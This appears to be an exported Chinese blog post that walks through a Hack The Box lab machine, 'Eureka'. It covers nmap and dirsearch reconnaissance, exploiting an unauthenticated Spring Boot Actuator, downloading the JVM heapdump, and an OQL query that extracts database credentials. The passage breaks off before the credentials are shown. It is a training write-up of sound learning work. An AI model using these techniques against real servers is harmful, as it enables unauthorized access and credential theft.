{"id":259,"date":"2025-05-02T13:59:14","date_gmt":"2025-05-02T05:59:14","guid":{"rendered":"https:\/\/www.misaka19008-lab.icu\/?p=259"},"modified":"2026-01-29T16:16:16","modified_gmt":"2026-01-29T08:16:16","slug":"259","status":"publish","type":"post","link":"https:\/\/www.misaka19008-lab.icu\/index.php\/2025\/05\/02\/259\/","title":{"rendered":"HTB\u9776\u673a Eureka \u6e17\u900f\u6d4b\u8bd5\u8bb0\u5f55"},"content":{"rendered":"
\n

\u76ee\u6807\u4fe1\u606f<\/h1>\n

IP\u5730\u5740\uff1a<\/strong>10.10.11.66<\/code>\uff08\u5b58\u5728\u591a\u4e2aIP\u5730\u5740\uff09<\/strong><\/p><\/blockquote>\n

\n

\u4fe1\u606f\u6536\u96c6<\/h1>\n

ICMP\u68c0\u6d4b<\/h2>\n
PING 10.129.103.58 (10.129.103.58) 56(84) bytes of data.\n64 bytes from 10.129.103.58: icmp_seq=1 ttl=63 time=367 ms\n64 bytes from 10.129.103.58: icmp_seq=2 ttl=63 time=400 ms\n64 bytes from 10.129.103.58: icmp_seq=3 ttl=63 time=412 ms\n64 bytes from 10.129.103.58: icmp_seq=4 ttl=63 time=332 ms\n\n--- 10.129.103.58 ping statistics ---\n4 packets transmitted, 4 received, 0% packet loss, time 3005ms\nrtt min\/avg\/max\/mdev = 331.549\/377.715\/411.705\/31.248 ms<\/code><\/pre>\n
\u653b\u51fb\u673a\u548c\u9776\u673a\u95f4\u7f51\u7edc\u901a\u4fe1\u6b63\u5e38\u3002<\/p>\n
\u9632\u706b\u5899\u68c0\u6d4b<\/h2>\n
# Nmap 7.95 scan initiated Sun Apr 27 07:34:32 2025 as: \/usr\/lib\/nmap\/nmap -sF -p- --min-rate 3000 -oN fin_result.txt 10.129.103.58\nNmap scan report for 10.129.103.58\nHost is up (0.31s latency).\nAll 65535 scanned ports on 10.129.103.58 are in ignored states.\nNot shown: 65535 open|filtered tcp ports (no-response)\n\n# Nmap done at Sun Apr 27 07:35:18 2025 -- 1 IP address (1 host up) scanned in 45.06 seconds<\/code><\/pre>\n
\u65e0\u6cd5\u63a2\u6d4b\u9776\u673a\u9632\u706b\u5899\u72b6\u6001\u3002<\/p>\n
\u7f51\u7edc\u7aef\u53e3\u626b\u63cf<\/h2>\n
TCP<\/code>\u7aef\u53e3\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n
# Nmap 7.95 scan initiated Sun Apr 27 07:37:19 2025 as: \/usr\/lib\/nmap\/nmap -sT -sV -A -p- --min-rate 3000 -oN tcp_result.txt 10.129.103.58\nWarning: 10.129.103.58 giving up on port because retransmission cap hit (10).\nNmap scan report for 10.129.103.58\nHost is up (0.31s latency).\nNot shown: 64856 closed tcp ports (conn-refused), 676 filtered tcp ports (no-response)\nPORT     STATE SERVICE VERSION\n22\/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)\n| ssh-hostkey: \n|   3072 d6:b2:10:42:32:35:4d:c9:ae:bd:3f:1f:58:65:ce:49 (RSA)\n|   256 90:11:9d:67:b6:f6:64:d4:df:7f:ed:4a:90:2e:6d:7b (ECDSA)\n|_  256 94:37:d3:42:95:5d:ad:f7:79:73:a6:37:94:45:ad:47 (ED25519)\n80\/tcp   open  http    nginx 1.18.0 (Ubuntu)\n|_http-title: Did not follow redirect to http:\/\/furni.htb\/\n|_http-server-header: nginx\/1.18.0 (Ubuntu)\n8761\/tcp open  http    Apache Tomcat (language: en)\n|_http-title: Site doesn't have a title.\n| http-auth: \n| HTTP\/1.1 401 x0D\n|_  Basic realm=Realm\nDevice type: general purpose\nRunning: Linux 5.X\nOS CPE: cpe:\/o:linux:linux_kernel:5.0\nOS details: Linux 5.0, Linux 5.0 - 5.14\nNetwork Distance: 2 hops\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel\n\nTRACEROUTE (using proto 1\/icmp)\nHOP RTT       ADDRESS\n1   354.00 ms 10.10.14.1\n2   354.17 ms 10.129.103.58\n\nOS and Service detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\n# Nmap done at Sun Apr 27 07:38:34 2025 -- 1 IP address (1 host up) scanned in 74.98 seconds<\/code><\/pre>\n
UDP<\/code>\u7aef\u53e3\u5f00\u653e\u5217\u8868\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n
# Nmap 7.95 scan initiated Sun Apr 27 07:40:06 2025 as: \/usr\/lib\/nmap\/nmap -sU -p- --min-rate 3000 -oN udp_ports.txt 10.129.103.58\nWarning: 10.129.103.58 giving up on port because retransmission cap hit (10).\nNmap scan report for 10.129.103.58\nHost is up (0.33s latency).\nAll 65535 scanned ports on 10.129.103.58 are in ignored states.\nNot shown: 65289 open|filtered udp ports (no-response), 246 closed udp ports (port-unreach)\n\n# Nmap done at Sun Apr 27 07:44:09 2025 -- 1 IP address (1 host up) scanned in 242.91 seconds<\/code><\/pre>\n
UDP<\/code>\u7aef\u53e3\u8be6\u7ec6\u4fe1\u606f\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n
\uff08\u65e0\uff09<\/code><\/pre>\n
\u540c\u65f6\u53d1\u73b0\u9776\u673a\u64cd\u4f5c\u7cfb\u7edf\u4e3aUbuntu Linux<\/code>\uff0c\u5f00\u653e\u4e86Nginx<\/code>\u548cApache Tomcat<\/code>\u4e24\u4e2aWeb<\/code>\u670d\u52a1\uff0c\u4e3b\u57df\u540d\u7591\u4f3c\u4e3afurni.htb<\/code>\u3002<\/p>\n
\n
\u670d\u52a1\u63a2\u6d4b<\/h1>\n
SSH\u670d\u52a1\uff0822\u7aef\u53e3\uff09<\/h2>\n
\u7aef\u53e3Banner<\/code>\uff1a<\/p>\n
\u250c\u2500\u2500(root\u327fmisaka19008)-[\/home\/megumin\/Documents\/pentest_notes\/eureka]\n\u2514\u2500# nc -nv 10.129.103.58 22                                     \n(UNKNOWN) [10.129.103.58] 22 (ssh) open\nSSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.12<\/code><\/pre>\n
Web\u5e94\u7528\u7a0b\u5e8f\uff0880\u7aef\u53e3\uff09<\/h2>\n
\u6253\u5f00\u4e3b\u9875\uff1ahttp:\/\/furni.htb\/<\/code><\/p>\n
\"\"<\/p>\n
\u901a\u8fc7\u67e5\u770b\u4e3b\u9875\uff0c\u53d1\u73b0\u8be5\u7f51\u7ad9\u4e3a\u4e00\u4e2a\u5728\u7ebf\u5bb6\u5177\u8ba2\u8d2d\u7cfb\u7edf\u3002<\/p>\n
\u9996\u5148\u8fdb\u884c\u76ee\u5f55\u626b\u63cf\uff1a<\/p>\n
# Dirsearch started Sun Apr 27 18:11:45 2025 as: \/usr\/lib\/python3\/dist-packages\/dirsearch\/dirsearch.py -u http:\/\/furni.htb -x 400,403,404 -t 60 -e jsp,js,html,txt,zip,tar.gz,xml,json,pdf,pcap\n\n200    14KB  http:\/\/furni.htb\/about\n200     2KB  http:\/\/furni.htb\/actuator\n200    20B   http:\/\/furni.htb\/actuator\/caches\n200     2B   http:\/\/furni.htb\/actuator\/info\n200   467B   http:\/\/furni.htb\/actuator\/features\n405   114B   http:\/\/furni.htb\/actuator\/refresh\n200    54B   http:\/\/furni.htb\/actuator\/scheduledtasks\n200     3KB  http:\/\/furni.htb\/actuator\/metrics\n200    15B   http:\/\/furni.htb\/actuator\/health\n200     6KB  http:\/\/furni.htb\/actuator\/env\n200    35KB  http:\/\/furni.htb\/actuator\/mappings\n200    36KB  http:\/\/furni.htb\/actuator\/configprops\n200    99KB  http:\/\/furni.htb\/actuator\/loggers\n200   198KB  http:\/\/furni.htb\/actuator\/beans\n200   180KB  http:\/\/furni.htb\/actuator\/conditions\n200   478KB  http:\/\/furni.htb\/actuator\/threaddump\n200    76MB  http:\/\/furni.htb\/actuator\/heapdump\n200    13KB  http:\/\/furni.htb\/blog\n302     0B   http:\/\/furni.htb\/cart    -> REDIRECTS TO: http:\/\/furni.htb\/login\n302     0B   http:\/\/furni.htb\/checkout    -> REDIRECTS TO: http:\/\/furni.htb\/login\n302     0B   http:\/\/furni.htb\/comment    -> REDIRECTS TO: http:\/\/furni.htb\/login\n200    10KB  http:\/\/furni.htb\/contact\n500    73B   http:\/\/furni.htb\/error\n200     2KB  http:\/\/furni.htb\/login\n200     1KB  http:\/\/furni.htb\/logout\n200     9KB  http:\/\/furni.htb\/register\n200    14KB  http:\/\/furni.htb\/services\n200    12KB  http:\/\/furni.htb\/shop<\/code><\/pre>\n
\u6210\u529f\u53d1\u73b0\u7f51\u7ad9\u5b58\u5728API<\/code>\u7aef\u70b9\/actuator<\/code>\uff0c\u5c1d\u8bd5\u76f4\u63a5\u8fdb\u884c\u8bbf\u95ee\uff1a<\/p>\n
\"\"<\/p>\n
\u53d1\u73b0\u8be5\u63a5\u53e3\u4e3aJava SpringBoot<\/code>\u5f00\u53d1\u6846\u67b6\u7684\u5e94\u7528\u5065\u5eb7\u72b6\u6001\u76d1\u63a7\u63a5\u53e3\u3002\u5c1d\u8bd5\u8bbf\u95ee\/actuator\/env<\/code>\u63a5\u53e3\u83b7\u53d6SpringBoot<\/code>\u73af\u5883\u53d8\u91cf\u4fe1\u606f\uff1a<\/p>\n
\"\"<\/p>\n
\u6210\u529f\u53d1\u73b0\u9776\u673a<\/strong>Web<\/code>\u670d\u52a1\u5b58\u5728<\/strong>SpringBoot Actuator<\/code>\u63a5\u53e3\u672a\u6388\u6743\u8bbf\u95ee\u6f0f\u6d1e\uff01<\/strong><\/p>\n
\n
\u6e17\u900f\u6d4b\u8bd5<\/h1>\n
SpringBoot Actuator\u672a\u6388\u6743\u8bbf\u95ee\u5229\u7528<\/h2>\n
\u5728\u670d\u52a1\u63a2\u6d4b\u9636\u6bb5\uff0c\u5df2\u7ecf\u6210\u529f\u53d1\u73b0\u4e86Web<\/code>\u670d\u52a1\u7684SpringBoot Actuator API<\/code>\u63a5\u53e3\u5b58\u5728\u672a\u6388\u6743\u8bbf\u95ee\u914d\u7f6e\u95ee\u9898\u3002\u73b0\u5728\u8fdb\u884c\u5229\u7528\u3002<\/p>\n
\u9996\u5148\uff0c\u9010\u4e2a\u67e5\u770b\/actuator\/env<\/code>\u7aef\u70b9\u7684JSON<\/code>\u914d\u7f6e\u952e\u540d\uff0c\u5728\u73af\u5883\u53d8\u91cf\u5185\u53d1\u73b0\u4e86SpringBoot<\/code>\u6570\u636e\u5e93\u8fde\u63a5\u914d\u7f6espring.datasource.username<\/code>\u548cspring.datasource.password<\/code>\uff1a<\/p>\n
{\n      \"name\": \"Config resource 'file [\/var\/www\/web\/Furni\/src\/main\/resources\/application.properties]' via location '\/var\/www\/web\/Furni\/src\/main\/resources\/application.properties'\",\n      \"properties\": {\n        \"spring.application.name\": {\n          \"value\": \"******\",\n          \"origin\": \"URL [file:\/var\/www\/web\/Furni\/src\/main\/resources\/application.properties] - 1:25\"\n        },\n        \"spring.session.store-type\": {\n          \"value\": \"******\",\n          \"origin\": \"URL [file:\/var\/www\/web\/Furni\/src\/main\/resources\/application.properties] - 2:27\"\n        },\n        \"spring.cloud.inetutils.ignoredInterfaces\": {\n          \"value\": \"******\",\n          \"origin\": \"URL [file:\/var\/www\/web\/Furni\/src\/main\/resources\/application.properties] - 3:42\"\n        },\n        \"spring.cloud.client.hostname\": {\n          \"value\": \"******\",\n          \"origin\": \"URL [file:\/var\/www\/web\/Furni\/src\/main\/resources\/application.properties] - 4:30\"\n        },\n        \"eureka.client.service-url.defaultZone\": {\n          \"value\": \"******\",\n          \"origin\": \"URL [file:\/var\/www\/web\/Furni\/src\/main\/resources\/application.properties] - 6:40\"\n        },\n        \"eureka.instance.hostname\": {\n          \"value\": \"******\",\n          \"origin\": \"URL [file:\/var\/www\/web\/Furni\/src\/main\/resources\/application.properties] - 7:26\"\n        },\n        \"eureka.instance.prefer-ip-address\": {\n          \"value\": \"******\",\n          \"origin\": \"URL [file:\/var\/www\/web\/Furni\/src\/main\/resources\/application.properties] - 8:35\"\n        },\n        \"spring.jpa.hibernate.ddl-auto\": {\n          \"value\": \"******\",\n          \"origin\": \"URL [file:\/var\/www\/web\/Furni\/src\/main\/resources\/application.properties] - 10:31\"\n        },\n        \"spring.datasource.url\": {\n          \"value\": \"******\",\n          \"origin\": \"URL [file:\/var\/www\/web\/Furni\/src\/main\/resources\/application.properties] - 11:23\"\n        },\n        \"spring.datasource.username\": {\n          \"value\": \"******\",\n          \"origin\": \"URL [file:\/var\/www\/web\/Furni\/src\/main\/resources\/application.properties] - 12:28\"\n        },\n        \"spring.datasource.password\": {\n          \"value\": \"******\",\n          \"origin\": \"URL [file:\/var\/www\/web\/Furni\/src\/main\/resources\/application.properties] - 13:28\"\n        },\n        \"spring.datasource.driver-class-name\": {\n          \"value\": \"******\",\n          \"origin\": \"URL [file:\/var\/www\/web\/Furni\/src\/main\/resources\/application.properties] - 14:37\"\n        },\n        \"spring.jpa.properties.hibernate.format_sql\": {\n          \"value\": \"******\",\n          \"origin\": \"URL [file:\/var\/www\/web\/Furni\/src\/main\/resources\/application.properties] - 15:44\"\n        },\n        \"server.address\": {\n          \"value\": \"******\",\n          \"origin\": \"URL [file:\/var\/www\/web\/Furni\/src\/main\/resources\/application.properties] - 17:16\"\n        },\n        \"server.port\": {\n          \"value\": \"******\",\n          \"origin\": \"URL [file:\/var\/www\/web\/Furni\/src\/main\/resources\/application.properties] - 18:13\"\n        },\n        \"server.forward-headers-strategy\": {\n          \"value\": \"******\",\n          \"origin\": \"URL [file:\/var\/www\/web\/Furni\/src\/main\/resources\/application.properties] - 20:33\"\n        },\n        \"management.endpoints.web.exposure.include\": {\n          \"value\": \"******\",\n          \"origin\": \"URL [file:\/var\/www\/web\/Furni\/src\/main\/resources\/application.properties] - 22:43\"\n        }\n      }\n    }<\/code><\/pre>\n
\u540c\u65f6\u8fd8\u53d1\u73b0JavaWeb<\/code>\u7684\u914d\u7f6e\u6587\u4ef6\u4e3a\uff1a\/var\/www\/web\/Furni\/src\/main\/resources\/application.properties<\/code>\u3002<\/p>\n
\u67e5\u770b\u5b8c\/actuator\/env<\/code>\u7aef\u70b9\u7684\u54cd\u5e94\u5185\u5bb9\u540e\uff0c\u76f4\u63a5\u4f7f\u7528wget<\/code>\u8bbf\u95ee\/actuator\/heapdump<\/code>\u7aef\u70b9\uff0c\u4e0b\u8f7d\u5f53\u524dJVM<\/code>\u865a\u62df\u673a\u7684\u5185\u5b58\u5feb\u7167\u6587\u4ef6\uff1a<\/p>\n
wget http:\/\/furni.htb\/actuator\/heapdump -O springboot_heapdump<\/code><\/pre>\n
\u4e0b\u8f7d\u5b8c\u6bd5\u540e\uff0c\u4f7f\u7528Eclipse Memory Analyzer<\/code>\u5de5\u5177\u6253\u5f00\uff1a<\/p>\n
\"\"<\/p>\n
JVM\u5185\u5b58\u5feb\u7167\u4e2d\u83b7\u53d6\u767b\u5f55\u51ed\u636e<\/h2>\n
\u6210\u529f\u6253\u5f00\u5185\u5b58\u5feb\u7167\u540e\uff0c\u70b9\u51fb\u53f3\u4fa7\u7a97\u4f53\u9876\u90e8\u7684OQL<\/code>\u67e5\u8be2\u7f16\u8f91\u5668\u6309\u94ae\uff0c\u6253\u5f00\u67e5\u8be2\u9875\u9762\u3002\u7531\u4e8e\u4e4b\u524d\u5728\/actuator\/env<\/code>\u73af\u5883\u53d8\u91cf\u63a5\u53e3\u5185\u53d1\u73b0\u4e86\u5b58\u50a8SpringBoot<\/code>\u6570\u636e\u5e93\u8fde\u63a5\u51ed\u636e\u7684\u952e\u540d\u5206\u522b\u4e3aspring.datasource.username<\/code>\u548cspring.datasource.password<\/code>\uff0c\u76f4\u63a5\u7f16\u5199OQL<\/code>\u67e5\u8be2\u8bed\u53e5\uff0c\u4ecejava.util.LinkedHashMap$Entry<\/code>\u5b9e\u4f8b\u4e2d\u67e5\u8be2\u540d\u79f0\u5185\u5305\u542bspring.datasource<\/code>\u952e\u7684\u503c\uff1a<\/p>\n
select * from java.util.LinkedHashMap$Entry x WHERE (toString(x.key).contains(&quot;spring.datasource&quot;))<\/code><\/pre>\n
\"\"<\/p>\n
\u53ef\u4ee5\u770b\u5230\u6210\u529f\u53d1\u73b0spring.datasource.username<\/code>\u548cspring.datasource.password<\/code>\u4e24\u4e2a\u952e\u540d\uff0c\u76f4\u63a5\u70b9\u51fb\u5c55\u5f00\u67e5\u770b\u952e\u503c\uff1a<\/p>\n
\"\"<\/p>\n
\"\"<\/p>\n
\u6210\u529f\u53d1\u73b0\u767b\u5f55\u51ed\u636e\uff1a<\/p>\n